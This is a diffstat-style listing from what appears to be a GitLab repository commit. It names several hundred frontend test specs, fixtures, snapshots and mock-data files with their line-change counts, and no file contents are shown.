-rw-r--r--spec/fixtures/lib/gitlab/import_export/project_with_invalid_relations/tree/project/labels.ndjson1
-rw-r--r--spec/fixtures/lib/gitlab/performance_bar/peek_data.json104
-rw-r--r--spec/fixtures/valid.po1
-rw-r--r--spec/fixtures/whats_new/20201225_01_01.yml5
-rw-r--r--spec/fixtures/whats_new/20201225_01_02.yml5
-rw-r--r--spec/fixtures/whats_new/20201225_01_05.yml11
-rw-r--r--spec/frontend/.eslintrc.yml3
-rw-r--r--spec/frontend/__mocks__/@toast-ui/vue-editor/index.js17
-rw-r--r--spec/frontend/add_context_commits_modal/components/__snapshots__/add_context_commits_modal_spec.js.snap8
-rw-r--r--spec/frontend/admin/users/components/app_spec.js37
-rw-r--r--spec/frontend/admin/users/components/users_table_spec.js61
-rw-r--r--spec/frontend/admin/users/index_spec.js35
-rw-r--r--spec/frontend/admin/users/mock_data.js29
-rw-r--r--spec/frontend/alert_management/components/sidebar/alert_managment_sidebar_assignees_spec.js2
-rw-r--r--spec/frontend/alerts_service_settings/components/alerts_service_form_spec.js4
-rw-r--r--spec/frontend/alerts_settings/__snapshots__/alerts_settings_form_new_spec.js.snap97
-rw-r--r--spec/frontend/alerts_settings/__snapshots__/alerts_settings_form_old_spec.js.snap47
-rw-r--r--spec/frontend/alerts_settings/__snapshots__/alerts_settings_form_spec.js.snap97
-rw-r--r--spec/frontend/alerts_settings/alerts_integrations_list_spec.js3
-rw-r--r--spec/frontend/alerts_settings/alerts_settings_form_new_spec.js364
-rw-r--r--spec/frontend/alerts_settings/alerts_settings_form_old_spec.js204
-rw-r--r--spec/frontend/alerts_settings/alerts_settings_form_spec.js376
-rw-r--r--spec/frontend/alerts_settings/alerts_settings_wrapper_spec.js75
-rw-r--r--spec/frontend/api_spec.js40
-rw-r--r--spec/frontend/authentication/two_factor_auth/components/recovery_codes_spec.js242
-rw-r--r--spec/frontend/authentication/two_factor_auth/index_spec.js80
-rw-r--r--spec/frontend/authentication/two_factor_auth/mock_data.js31
-rw-r--r--spec/frontend/blob/components/mock_data.js2
-rw-r--r--spec/frontend/blob/viewer/index_spec.js2
-rw-r--r--spec/frontend/blob_edit/edit_blob_spec.js41
-rw-r--r--spec/frontend/boards/board_list_new_spec.js106
-rw-r--r--spec/frontend/boards/boards_store_spec.js149
-rw-r--r--spec/frontend/boards/components/board_assignee_dropdown_spec.js91
-rw-r--r--spec/frontend/boards/components/board_column_new_spec.js11
-rw-r--r--spec/frontend/boards/components/board_content_spec.js60
-rw-r--r--spec/frontend/boards/components/board_form_spec.js274
-rw-r--r--spec/frontend/boards/components/board_list_header_new_spec.js44
-rw-r--r--spec/frontend/boards/components/board_list_header_spec.js2
-rw-r--r--spec/frontend/boards/components/board_new_issue_new_spec.js4
-rw-r--r--spec/frontend/boards/components/boards_selector_spec.js12
-rw-r--r--spec/frontend/boards/components/sidebar/board_sidebar_milestone_select_spec.js152
-rw-r--r--spec/frontend/boards/list_spec.js1
-rw-r--r--spec/frontend/boards/mock_data.js69
-rw-r--r--spec/frontend/boards/stores/actions_spec.js235
-rw-r--r--spec/frontend/boards/stores/getters_spec.js76
-rw-r--r--spec/frontend/boards/stores/mutations_spec.js62
-rw-r--r--spec/frontend/branches/ajax_loading_spinner_spec.js2
-rw-r--r--spec/frontend/ci_lint/components/ci_lint_results_spec.js129
-rw-r--r--spec/frontend/ci_lint/components/ci_lint_spec.js4
-rw-r--r--spec/frontend/ci_lint/components/ci_lint_warnings_spec.js54
-rw-r--r--spec/frontend/ci_lint/graphql/__snapshots__/resolvers_spec.js.snap73
-rw-r--r--spec/frontend/ci_lint/graphql/resolvers_spec.js38
-rw-r--r--spec/frontend/ci_lint/mock_data.js84
-rw-r--r--spec/frontend/close_reopen_report_toggle_spec.js283
-rw-r--r--spec/frontend/clusters/components/__snapshots__/applications_spec.js.snap4
-rw-r--r--spec/frontend/clusters/components/__snapshots__/remove_cluster_confirmation_spec.js.snap2
-rw-r--r--spec/frontend/clusters/stores/clusters_store_spec.js3
-rw-r--r--spec/frontend/code_navigation/components/__snapshots__/popover_spec.js.snap2
-rw-r--r--spec/frontend/create_cluster/eks_cluster/store/actions_spec.js28
-rw-r--r--spec/frontend/cycle_analytics/banner_spec.js2
-rw-r--r--spec/frontend/design_management/components/upload/__snapshots__/design_version_dropdown_spec.js.snap8
-rw-r--r--spec/frontend/design_management/pages/design/index_spec.js74
-rw-r--r--spec/frontend/design_management/pages/index_spec.js15
-rw-r--r--spec/frontend/diffs/components/app_spec.js198
-rw-r--r--spec/frontend/diffs/components/commit_item_spec.js2
-rw-r--r--spec/frontend/diffs/components/compare_dropdown_layout_spec.js8
-rw-r--r--spec/frontend/diffs/components/compare_versions_spec.js4
-rw-r--r--spec/frontend/diffs/components/diff_content_spec.js16
-rw-r--r--spec/frontend/diffs/components/diff_expansion_cell_spec.js5
-rw-r--r--spec/frontend/diffs/components/diff_file_row_spec.js38
-rw-r--r--spec/frontend/diffs/components/diff_row_spec.js6
-rw-r--r--spec/frontend/diffs/components/image_diff_overlay_spec.js14
-rw-r--r--spec/frontend/diffs/components/settings_dropdown_spec.js95
-rw-r--r--spec/frontend/diffs/diff_file_spec.js60
-rw-r--r--spec/frontend/diffs/store/actions_spec.js48
-rw-r--r--spec/frontend/diffs/store/mutations_spec.js334
-rw-r--r--spec/frontend/diffs/store/utils_spec.js261
-rw-r--r--spec/frontend/diffs/utils/diff_file_spec.js126
-rw-r--r--spec/frontend/diffs/utils/preferences_spec.js40
-rw-r--r--spec/frontend/editor/editor_lite_extension_base_spec.js44
-rw-r--r--spec/frontend/editor/editor_lite_spec.js159
-rw-r--r--spec/frontend/editor/editor_markdown_ext_spec.js4
-rw-r--r--spec/frontend/environments/environment_actions_spec.js131
-rw-r--r--spec/frontend/environments/environment_item_spec.js76
-rw-r--r--spec/frontend/environments/mock_data.js97
-rw-r--r--spec/frontend/feature_flags/components/configure_feature_flags_modal_spec.js17
-rw-r--r--spec/frontend/feature_flags/components/edit_feature_flag_spec.js34
-rw-r--r--spec/frontend/feature_flags/components/feature_flags_tab_spec.js5
-rw-r--r--spec/frontend/feature_flags/components/new_feature_flag_spec.js45
-rw-r--r--spec/frontend/filtered_search/filtered_search_manager_spec.js2
-rw-r--r--spec/frontend/fixtures/abuse_reports.rb2
-rw-r--r--spec/frontend/fixtures/admin_users.rb2
-rw-r--r--spec/frontend/fixtures/application_settings.rb2
-rw-r--r--spec/frontend/fixtures/autocomplete_sources.rb5
-rw-r--r--spec/frontend/fixtures/blob.rb4
-rw-r--r--spec/frontend/fixtures/boards.rb30
-rw-r--r--spec/frontend/fixtures/branches.rb6
-rw-r--r--spec/frontend/fixtures/clusters.rb4
-rw-r--r--spec/frontend/fixtures/commit.rb4
-rw-r--r--spec/frontend/fixtures/deploy_keys.rb4
-rw-r--r--spec/frontend/fixtures/emojis.rb17
-rw-r--r--spec/frontend/fixtures/freeze_period.rb10
-rw-r--r--spec/frontend/fixtures/groups.rb10
-rw-r--r--spec/frontend/fixtures/issues.rb18
-rw-r--r--spec/frontend/fixtures/jobs.rb15
-rw-r--r--spec/frontend/fixtures/labels.rb23
-rw-r--r--spec/frontend/fixtures/merge_requests.rb38
-rw-r--r--spec/frontend/fixtures/merge_requests_diffs.rb16
-rw-r--r--spec/frontend/fixtures/pipeline_schedules.rb8
-rw-r--r--spec/frontend/fixtures/pipelines.rb3
-rw-r--r--spec/frontend/fixtures/projects.rb15
-rw-r--r--spec/frontend/fixtures/prometheus_service.rb4
-rw-r--r--spec/frontend/fixtures/raw.rb20
-rw-r--r--spec/frontend/fixtures/search.rb10
-rw-r--r--spec/frontend/fixtures/services.rb4
-rw-r--r--spec/frontend/fixtures/snippet.rb8
-rw-r--r--spec/frontend/fixtures/static/balsamiq_viewer.html1
-rw-r--r--spec/frontend/fixtures/static/create_item_dropdown.html51
-rw-r--r--spec/frontend/fixtures/static/deprecated_jquery_dropdown.html2
-rw-r--r--spec/frontend/fixtures/static/environments/table.html15
-rw-r--r--spec/frontend/fixtures/static/issuable_filter.html9
-rw-r--r--spec/frontend/fixtures/static/issue_with_mermaid_graph.html82
-rw-r--r--spec/frontend/fixtures/static/merge_requests_show.html15
-rw-r--r--spec/frontend/fixtures/static/mini_dropdown_graph.html2
-rw-r--r--spec/frontend/fixtures/static/pipelines.html3
-rw-r--r--spec/frontend/fixtures/static/project_select_combo_button.html14
-rw-r--r--spec/frontend/fixtures/static/whats_new_notification.html6
-rw-r--r--spec/frontend/fixtures/tags.rb4
-rw-r--r--spec/frontend/fixtures/todos.rb10
-rw-r--r--spec/frontend/frequent_items/components/app_spec.js3
-rw-r--r--spec/frontend/frequent_items/components/frequent_items_list_item_spec.js27
-rw-r--r--spec/frontend/frequent_items/components/frequent_items_list_spec.js11
-rw-r--r--spec/frontend/frequent_items/components/frequent_items_search_input_spec.js42
-rw-r--r--spec/frontend/frequent_items/mock_data.js1
-rw-r--r--spec/frontend/graphql_shared/utils_spec.js39
-rw-r--r--spec/frontend/groups/components/app_spec.js2
-rw-r--r--spec/frontend/groups/components/group_item_spec.js49
-rw-r--r--spec/frontend/groups/components/visibility_level_dropdown_spec.js73
-rw-r--r--spec/frontend/groups/members/components/app_spec.js30
-rw-r--r--spec/frontend/groups/members/index_spec.js32
-rw-r--r--spec/frontend/groups/members/utils_spec.js2
-rw-r--r--spec/frontend/groups/store/groups_store_spec.js27
-rw-r--r--spec/frontend/groups/store/utils_spec.js44
-rw-r--r--spec/frontend/helpers/stub_component.js12
-rw-r--r--spec/frontend/helpers/vue_test_utils_helper.js15
-rw-r--r--spec/frontend/helpers/vue_test_utils_helper_spec.js46
-rw-r--r--spec/frontend/helpers/vuex_action_helper.js41
-rw-r--r--spec/frontend/helpers/vuex_action_helper_spec.js264
-rw-r--r--spec/frontend/ide/components/ide_spec.js55
-rw-r--r--spec/frontend/ide/components/terminal/session_spec.js11
-rw-r--r--spec/frontend/ide/components/terminal/view_spec.js18
-rw-r--r--spec/frontend/ide/stores/actions/file_spec.js16
-rw-r--r--spec/frontend/ide/utils_spec.js24
-rw-r--r--spec/frontend/import_entities/import_groups/components/import_table_row_spec.js112
-rw-r--r--spec/frontend/import_entities/import_groups/components/import_table_spec.js103
-rw-r--r--spec/frontend/import_entities/import_groups/graphql/client_factory_spec.js221
-rw-r--r--spec/frontend/import_entities/import_groups/graphql/fixtures.js51
-rw-r--r--spec/frontend/import_entities/import_groups/graphql/services/source_groups_manager_spec.js82
-rw-r--r--spec/frontend/import_entities/import_groups/graphql/services/status_poller_spec.js213
-rw-r--r--spec/frontend/import_entities/import_projects/components/bitbucket_status_table_spec.js59
-rw-r--r--spec/frontend/import_entities/import_projects/components/import_projects_table_spec.js249
-rw-r--r--spec/frontend/import_entities/import_projects/components/provider_repo_table_row_spec.js169
-rw-r--r--spec/frontend/import_entities/import_projects/store/actions_spec.js398
-rw-r--r--spec/frontend/import_entities/import_projects/store/getters_spec.js135
-rw-r--r--spec/frontend/import_entities/import_projects/store/mutations_spec.js319
-rw-r--r--spec/frontend/import_entities/import_projects/utils_spec.js69
-rw-r--r--spec/frontend/import_projects/components/bitbucket_status_table_spec.js59
-rw-r--r--spec/frontend/import_projects/components/import_projects_table_spec.js249
-rw-r--r--spec/frontend/import_projects/components/provider_repo_table_row_spec.js169
-rw-r--r--spec/frontend/import_projects/store/actions_spec.js398
-rw-r--r--spec/frontend/import_projects/store/getters_spec.js135
-rw-r--r--spec/frontend/import_projects/store/mutations_spec.js319
-rw-r--r--spec/frontend/import_projects/utils_spec.js65
-rw-r--r--spec/frontend/importer_status_spec.js141
-rw-r--r--spec/frontend/incidents_settings/components/__snapshots__/alerts_form_spec.js.snap9
-rw-r--r--spec/frontend/incidents_settings/components/__snapshots__/incidents_settings_tabs_spec.js.snap2
-rw-r--r--spec/frontend/incidents_settings/components/__snapshots__/pagerduty_form_spec.js.snap14
-rw-r--r--spec/frontend/integrations/edit/store/actions_spec.js30
-rw-r--r--spec/frontend/integrations/edit/store/mutations_spec.js16
-rw-r--r--spec/frontend/invite_members/components/members_token_select_spec.js4
-rw-r--r--spec/frontend/issuable/related_issues/components/issue_token_spec.js2
-rw-r--r--spec/frontend/issuable/related_issues/components/related_issues_root_spec.js28
-rw-r--r--spec/frontend/issuable_show/components/issuable_body_spec.js27
-rw-r--r--spec/frontend/issuable_show/components/issuable_edit_form_spec.js71
-rw-r--r--spec/frontend/issuable_show/components/issuable_show_root_spec.js21
-rw-r--r--spec/frontend/issuable_show/mock_data.js2
-rw-r--r--spec/frontend/issue_show/components/header_actions_spec.js27
-rw-r--r--spec/frontend/issue_show/issue_spec.js3
-rw-r--r--spec/frontend/issue_spec.js202
-rw-r--r--spec/frontend/jira_import/components/__snapshots__/jira_import_form_spec.js.snap2
-rw-r--r--spec/frontend/jobs/components/log/line_spec.js136
-rw-r--r--spec/frontend/jobs/components/unmet_prerequisites_block_spec.js34
-rw-r--r--spec/frontend/jobs/mixins/delayed_job_mixin_spec.js88
-rw-r--r--spec/frontend/jobs/store/actions_spec.js66
-rw-r--r--spec/frontend/jobs/store/mutations_spec.js1
-rw-r--r--spec/frontend/lib/utils/common_utils_spec.js5
-rw-r--r--spec/frontend/lib/utils/text_utility_spec.js23
-rw-r--r--spec/frontend/maintenance_mode_settings/components/app_spec.js42
-rw-r--r--spec/frontend/members/components/action_buttons/access_request_action_buttons_spec.js108
-rw-r--r--spec/frontend/members/components/action_buttons/approve_access_request_button_spec.js74
-rw-r--r--spec/frontend/members/components/action_buttons/invite_action_buttons_spec.js85
-rw-r--r--spec/frontend/members/components/action_buttons/leave_button_spec.js59
-rw-r--r--spec/frontend/members/components/action_buttons/remove_group_link_button_spec.js64
-rw-r--r--spec/frontend/members/components/action_buttons/remove_member_button_spec.js66
-rw-r--r--spec/frontend/members/components/action_buttons/resend_invite_button_spec.js66
-rw-r--r--spec/frontend/members/components/action_buttons/user_action_buttons_spec.js89
-rw-r--r--spec/frontend/members/components/avatars/group_avatar_spec.js46
-rw-r--r--spec/frontend/members/components/avatars/invite_avatar_spec.js38
-rw-r--r--spec/frontend/members/components/avatars/user_avatar_spec.js115
-rw-r--r--spec/frontend/members/components/filter_sort/filter_sort_container_spec.js68
-rw-r--r--spec/frontend/members/components/filter_sort/members_filtered_search_bar_spec.js176
-rw-r--r--spec/frontend/members/components/filter_sort/sort_dropdown_spec.js162
-rw-r--r--spec/frontend/members/components/modals/leave_modal_spec.js91
-rw-r--r--spec/frontend/members/components/modals/remove_group_link_modal_spec.js106
-rw-r--r--spec/frontend/members/components/table/created_at_spec.js61
-rw-r--r--spec/frontend/members/components/table/expiration_datepicker_spec.js166
-rw-r--r--spec/frontend/members/components/table/expires_at_spec.js86
-rw-r--r--spec/frontend/members/components/table/member_action_buttons_spec.js43
-rw-r--r--spec/frontend/members/components/table/member_avatar_spec.js39
-rw-r--r--spec/frontend/members/components/table/member_source_spec.js71
-rw-r--r--spec/frontend/members/components/table/members_table_cell_spec.js251
-rw-r--r--spec/frontend/members/components/table/members_table_spec.js212
-rw-r--r--spec/frontend/members/components/table/role_dropdown_spec.js151
-rw-r--r--spec/frontend/members/mock_data.js (renamed from spec/frontend/vue_shared/components/members/mock_data.js)0
-rw-r--r--spec/frontend/members/store/actions_spec.js152
-rw-r--r--spec/frontend/members/store/mutations_spec.js117
-rw-r--r--spec/frontend/members/store/utils_spec.js14
-rw-r--r--spec/frontend/members/utils_spec.js232
-rw-r--r--spec/frontend/merge_request_spec.js6
-rw-r--r--spec/frontend/monitoring/components/__snapshots__/dashboard_template_spec.js.snap2
-rw-r--r--spec/frontend/monitoring/components/group_empty_state_spec.js12
-rw-r--r--spec/frontend/notebook/cells/output/html_sanitize_fixtures.js174
-rw-r--r--spec/frontend/notebook/cells/output/html_spec.js15
-rw-r--r--spec/frontend/notebook/lib/highlight_spec.js4
-rw-r--r--spec/frontend/notes/components/comment_form_spec.js443
-rw-r--r--spec/frontend/notes/components/multiline_comment_utils_spec.js13
-rw-r--r--spec/frontend/notes/components/note_header_spec.js37
-rw-r--r--spec/frontend/notes/mixins/discussion_navigation_spec.js5
-rw-r--r--spec/frontend/notes/stores/actions_spec.js68
-rw-r--r--spec/frontend/notes/stores/mutation_spec.js46
-rw-r--r--spec/frontend/packages/details/components/app_spec.js30
-rw-r--r--spec/frontend/packages/details/components/package_files_spec.js131
-rw-r--r--spec/frontend/packages/details/components/package_history_spec.js113
-rw-r--r--spec/frontend/packages/list/components/__snapshots__/packages_list_app_spec.js.snap61
-rw-r--r--spec/frontend/packages/mock_data.js3
-rw-r--r--spec/frontend/pages/admin/users/components/__snapshots__/user_operation_confirmation_modal_spec.js.snap34
-rw-r--r--spec/frontend/pages/admin/users/components/user_modal_manager_spec.js14
-rw-r--r--spec/frontend/pages/admin/users/components/user_operation_confirmation_modal_spec.js46
-rw-r--r--spec/frontend/pages/import/bitbucket_server/components/bitbucket_server_status_table_spec.js2
-rw-r--r--spec/frontend/pages/projects/graphs/__snapshots__/code_coverage_spec.js.snap5
-rw-r--r--spec/frontend/pages/projects/shared/permissions/components/settings_panel_spec.js31
-rw-r--r--spec/frontend/pipeline_editor/components/commit/commit_form_spec.js116
-rw-r--r--spec/frontend/pipeline_editor/components/lint/ci_lint_results_spec.js129
-rw-r--r--spec/frontend/pipeline_editor/components/lint/ci_lint_warnings_spec.js54
-rw-r--r--spec/frontend/pipeline_editor/components/text_editor_spec.js17
-rw-r--r--spec/frontend/pipeline_editor/graphql/__snapshots__/resolvers_spec.js.snap73
-rw-r--r--spec/frontend/pipeline_editor/graphql/resolvers_spec.js51
-rw-r--r--spec/frontend/pipeline_editor/mock_data.js97
-rw-r--r--spec/frontend/pipeline_editor/pipeline_editor_app_spec.js444
-rw-r--r--spec/frontend/pipeline_new/components/pipeline_new_form_spec.js125
-rw-r--r--spec/frontend/pipeline_new/mock_data.js16
-rw-r--r--spec/frontend/pipeline_new/utils/format_refs_spec.js21
-rw-r--r--spec/frontend/pipelines/empty_state_spec.js86
-rw-r--r--spec/frontend/pipelines/graph/graph_component_legacy_spec.js306
-rw-r--r--spec/frontend/pipelines/graph/graph_component_spec.js312
-rw-r--r--spec/frontend/pipelines/graph/graph_component_wrapper_spec.js124
-rw-r--r--spec/frontend/pipelines/graph/linked_pipeline_spec.js22
-rw-r--r--spec/frontend/pipelines/graph/linked_pipelines_column_legacy_spec.js40
-rw-r--r--spec/frontend/pipelines/graph/linked_pipelines_column_spec.js120
-rw-r--r--spec/frontend/pipelines/graph/mock_data.js896
-rw-r--r--spec/frontend/pipelines/graph/mock_data_legacy.js261
-rw-r--r--spec/frontend/pipelines/graph/stage_column_component_legacy_spec.js135
-rw-r--r--spec/frontend/pipelines/graph/stage_column_component_spec.js164
-rw-r--r--spec/frontend/pipelines/pipeline_graph/gitlab_ci_yaml_visualization_spec.js47
-rw-r--r--spec/frontend/pipelines/pipeline_graph/mock_data.js10
-rw-r--r--spec/frontend/pipelines/pipeline_graph/pipeline_graph_spec.js148
-rw-r--r--spec/frontend/pipelines/pipeline_graph/utils_spec.js181
-rw-r--r--spec/frontend/pipelines/pipeline_url_spec.js15
-rw-r--r--spec/frontend/pipelines/pipelines_spec.js4
-rw-r--r--spec/frontend/pipelines/test_reports/stores/getters_spec.js33
-rw-r--r--spec/frontend/pipelines/test_reports/stores/mutations_spec.js13
-rw-r--r--spec/frontend/pipelines/test_reports/test_suite_table_spec.js24
-rw-r--r--spec/frontend/pipelines/tokens/pipeline_status_token_spec.js16
-rw-r--r--spec/frontend/pipelines/tokens/pipeline_trigger_author_token_spec.js16
-rw-r--r--spec/frontend/pipelines/unwrapping_utils_spec.js151
-rw-r--r--spec/frontend/projects/pipelines/charts/components/__snapshots__/statistics_list_spec.js.snap4
-rw-r--r--spec/frontend/projects/pipelines/charts/components/app_legacy_spec.js72
-rw-r--r--spec/frontend/projects/pipelines/charts/components/app_spec.js66
-rw-r--r--spec/frontend/projects/pipelines/charts/components/statistics_list_spec.js2
-rw-r--r--spec/frontend/projects/pipelines/charts/mock_data.js215
-rw-r--r--spec/frontend/projects/settings/components/shared_runners_toggle_spec.js157
-rw-r--r--spec/frontend/ref/components/ref_selector_spec.js39
-rw-r--r--spec/frontend/registry/explorer/components/details_page/__snapshots__/tags_loader_spec.js.snap4
-rw-r--r--spec/frontend/registry/explorer/components/details_page/details_header_spec.js48
-rw-r--r--spec/frontend/registry/explorer/components/details_page/tags_list_row_spec.js55
-rw-r--r--spec/frontend/registry/explorer/components/details_page/tags_list_spec.js10
-rw-r--r--spec/frontend/registry/explorer/components/list_page/__snapshots__/group_empty_state_spec.js.snap5
-rw-r--r--spec/frontend/registry/explorer/components/list_page/__snapshots__/project_empty_state_spec.js.snap11
-rw-r--r--spec/frontend/registry/explorer/components/list_page/cli_commands_spec.js41
-rw-r--r--spec/frontend/registry/explorer/components/list_page/group_empty_state_spec.js17
-rw-r--r--spec/frontend/registry/explorer/components/list_page/image_list_row_spec.js61
-rw-r--r--spec/frontend/registry/explorer/components/list_page/image_list_spec.js60
-rw-r--r--spec/frontend/registry/explorer/components/list_page/project_empty_state_spec.js31
-rw-r--r--spec/frontend/registry/explorer/components/registry_breadcrumb_spec.js9
-rw-r--r--spec/frontend/registry/explorer/mock_data.js281
-rw-r--r--spec/frontend/registry/explorer/pages/details_spec.js336
-rw-r--r--spec/frontend/registry/explorer/pages/index_spec.js4
-rw-r--r--spec/frontend/registry/explorer/pages/list_spec.js341
-rw-r--r--spec/frontend/registry/explorer/stores/actions_spec.js362
-rw-r--r--spec/frontend/registry/explorer/stores/getters_spec.js41
-rw-r--r--spec/frontend/registry/explorer/stores/mutations_spec.js133
-rw-r--r--spec/frontend/registry/explorer/stubs.js32
-rw-r--r--spec/frontend/registry/explorer/utils_spec.js56
-rw-r--r--spec/frontend/registry/settings/__snapshots__/utils_spec.js.snap101
-rw-r--r--spec/frontend/registry/settings/components/__snapshots__/settings_form_spec.js.snap64
-rw-r--r--spec/frontend/registry/settings/components/expiration_dropdown_spec.js83
-rw-r--r--spec/frontend/registry/settings/components/expiration_input_spec.js169
-rw-r--r--spec/frontend/registry/settings/components/expiration_run_text_spec.js62
-rw-r--r--spec/frontend/registry/settings/components/expiration_toggle_spec.js77
-rw-r--r--spec/frontend/registry/settings/components/registry_settings_app_spec.js33
-rw-r--r--spec/frontend/registry/settings/components/settings_form_spec.js195
-rw-r--r--spec/frontend/registry/settings/graphql/cache_updated_spec.js2
-rw-r--r--spec/frontend/registry/settings/mock_data.js24
-rw-r--r--spec/frontend/registry/settings/utils_spec.js34
-rw-r--r--spec/frontend/registry/shared/__snapshots__/utils_spec.js.snap101
-rw-r--r--spec/frontend/registry/shared/components/__snapshots__/expiration_policy_fields_spec.js.snap148
-rw-r--r--spec/frontend/registry/shared/components/expiration_policy_fields_spec.js202
-rw-r--r--spec/frontend/registry/shared/mock_data.js12
-rw-r--r--spec/frontend/registry/shared/stubs.js20
-rw-r--r--spec/frontend/registry/shared/utils_spec.js37
-rw-r--r--spec/frontend/reports/components/grouped_test_reports_app_spec.js4
-rw-r--r--spec/frontend/reports/mock_data/recent_failures_report.json10
-rw-r--r--spec/frontend/reports/store/mutations_spec.js5
-rw-r--r--spec/frontend/reports/store/utils_spec.js21
-rw-r--r--spec/frontend/repository/components/preview/__snapshots__/index_spec.js.snap1
-rw-r--r--spec/frontend/search/group_filter/components/group_filter_spec.js172
-rw-r--r--spec/frontend/search/index_spec.js2
-rw-r--r--spec/frontend/search/mock_data.js23
-rw-r--r--spec/frontend/search/store/actions_spec.js83
-rw-r--r--spec/frontend/search/store/mutations_spec.js28
-rw-r--r--spec/frontend/search/topbar/components/group_filter_spec.js121
-rw-r--r--spec/frontend/search/topbar/components/project_filter_spec.js134
-rw-r--r--spec/frontend/search/topbar/components/searchable_dropdown_spec.js167
-rw-r--r--spec/frontend/search_spec.js25
-rw-r--r--spec/frontend/sidebar/__snapshots__/confidential_issue_sidebar_spec.js.snap8
-rw-r--r--spec/frontend/sidebar/__snapshots__/todo_spec.js.snap5
-rw-r--r--spec/frontend/sidebar/issuable_assignees_spec.js12
-rw-r--r--spec/frontend/sidebar/sidebar_labels_spec.js2
-rw-r--r--spec/frontend/static_site_editor/components/edit_area_spec.js13
-rw-r--r--spec/frontend/static_site_editor/pages/home_spec.js9
-rw-r--r--spec/frontend/static_site_editor/services/submit_content_changes_spec.js56
-rw-r--r--spec/frontend/terraform/components/states_table_actions_spec.js189
-rw-r--r--spec/frontend/terraform/components/states_table_spec.js71
-rw-r--r--spec/frontend/test_setup.js2
-rw-r--r--spec/frontend/vue_mr_widget/components/mr_widget_header_spec.js4
-rw-r--r--spec/frontend/vue_mr_widget/components/mr_widget_merge_help_spec.js66
-rw-r--r--spec/frontend/vue_mr_widget/components/states/mr_widget_conflicts_spec.js402
-rw-r--r--spec/frontend/vue_mr_widget/components/states/mr_widget_missing_branch_spec.js68
-rw-r--r--spec/frontend/vue_mr_widget/components/states/mr_widget_squash_before_merge_spec.js51
-rw-r--r--spec/frontend/vue_mr_widget/deployment/deployment_spec.js5
-rw-r--r--spec/frontend/vue_mr_widget/mock_data.js3
-rw-r--r--spec/frontend/vue_mr_widget/mr_widget_how_to_merge_modal_spec.js68
-rw-r--r--spec/frontend/vue_mr_widget/mr_widget_options_spec.js18
-rw-r--r--spec/frontend/vue_mr_widget/stores/mr_widget_store_spec.js20
-rw-r--r--spec/frontend/vue_shared/components/__snapshots__/awards_list_spec.js.snap191
-rw-r--r--spec/frontend/vue_shared/components/__snapshots__/clone_dropdown_spec.js.snap2
-rw-r--r--spec/frontend/vue_shared/components/__snapshots__/expand_button_spec.js.snap4
-rw-r--r--spec/frontend/vue_shared/components/__snapshots__/split_button_spec.js.snap4
-rw-r--r--spec/frontend/vue_shared/components/awards_list_spec.js36
-rw-r--r--spec/frontend/vue_shared/components/callout_spec.js63
-rw-r--r--spec/frontend/vue_shared/components/clipboard_button_spec.js42
-rw-r--r--spec/frontend/vue_shared/components/color_picker/color_picker_spec.js140
-rw-r--r--spec/frontend/vue_shared/components/filtered_search_bar/filtered_search_bar_root_spec.js39
-rw-r--r--spec/frontend/vue_shared/components/filtered_search_bar/mock_data.js24
-rw-r--r--spec/frontend/vue_shared/components/gfm_autocomplete/__snapshots__/utils_spec.js.snap47
-rw-r--r--spec/frontend/vue_shared/components/gfm_autocomplete/gfm_autocomplete_spec.js34
-rw-r--r--spec/frontend/vue_shared/components/gfm_autocomplete/utils_spec.js344
-rw-r--r--spec/frontend/vue_shared/components/gl_mentions_spec.js34
-rw-r--r--spec/frontend/vue_shared/components/issue/issue_milestone_spec.js29
-rw-r--r--spec/frontend/vue_shared/components/loading_button_spec.js100
-rw-r--r--spec/frontend/vue_shared/components/markdown/apply_suggestion_spec.js72
-rw-r--r--spec/frontend/vue_shared/components/members/action_buttons/access_request_action_buttons_spec.js108
-rw-r--r--spec/frontend/vue_shared/components/members/action_buttons/approve_access_request_button_spec.js74
-rw-r--r--spec/frontend/vue_shared/components/members/action_buttons/invite_action_buttons_spec.js85
-rw-r--r--spec/frontend/vue_shared/components/members/action_buttons/leave_button_spec.js59
-rw-r--r--spec/frontend/vue_shared/components/members/action_buttons/remove_group_link_button_spec.js64
-rw-r--r--spec/frontend/vue_shared/components/members/action_buttons/remove_member_button_spec.js66
-rw-r--r--spec/frontend/vue_shared/components/members/action_buttons/resend_invite_button_spec.js66
-rw-r--r--spec/frontend/vue_shared/components/members/action_buttons/user_action_buttons_spec.js89
-rw-r--r--spec/frontend/vue_shared/components/members/avatars/group_avatar_spec.js46
-rw-r--r--spec/frontend/vue_shared/components/members/avatars/invite_avatar_spec.js38
-rw-r--r--spec/frontend/vue_shared/components/members/avatars/user_avatar_spec.js115
-rw-r--r--spec/frontend/vue_shared/components/members/modals/leave_modal_spec.js91
-rw-r--r--spec/frontend/vue_shared/components/members/modals/remove_group_link_modal_spec.js106
-rw-r--r--spec/frontend/vue_shared/components/members/table/created_at_spec.js61
-rw-r--r--spec/frontend/vue_shared/components/members/table/expiration_datepicker_spec.js166
-rw-r--r--spec/frontend/vue_shared/components/members/table/expires_at_spec.js86
-rw-r--r--spec/frontend/vue_shared/components/members/table/member_action_buttons_spec.js43
-rw-r--r--spec/frontend/vue_shared/components/members/table/member_avatar_spec.js39
-rw-r--r--spec/frontend/vue_shared/components/members/table/member_source_spec.js71
-rw-r--r--spec/frontend/vue_shared/components/members/table/member_table_cell_spec.js251
-rw-r--r--spec/frontend/vue_shared/components/members/table/members_table_spec.js212
-rw-r--r--spec/frontend/vue_shared/components/members/table/role_dropdown_spec.js151
-rw-r--r--spec/frontend/vue_shared/components/members/utils_spec.js122
-rw-r--r--spec/frontend/vue_shared/components/registry/__snapshots__/code_instruction_spec.js.snap1
-rw-r--r--spec/frontend/vue_shared/components/resizable_chart/__snapshots__/skeleton_loader_spec.js.snap6
-rw-r--r--spec/frontend/vue_shared/components/rich_content_editor/rich_content_editor_spec.js13
-rw-r--r--spec/frontend/vue_shared/components/security_reports/__snapshots__/security_summary_spec.js.snap144
-rw-r--r--spec/frontend/vue_shared/components/security_reports/help_icon_spec.js68
-rw-r--r--spec/frontend/vue_shared/components/security_reports/security_summary_spec.js38
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select/base_spec.js12
-rw-r--r--spec/frontend/vue_shared/components/sidebar/labels_select_vue/labels_select_root_spec.js104
-rw-r--r--spec/frontend/vue_shared/components/toggle_button_spec.js107
-rw-r--r--spec/frontend/vue_shared/components/tooltip_on_truncate_spec.js239
-rw-r--r--spec/frontend/vue_shared/security_reports/components/security_report_download_dropdown_spec.js64
-rw-r--r--spec/frontend/vue_shared/security_reports/mock_data.js437
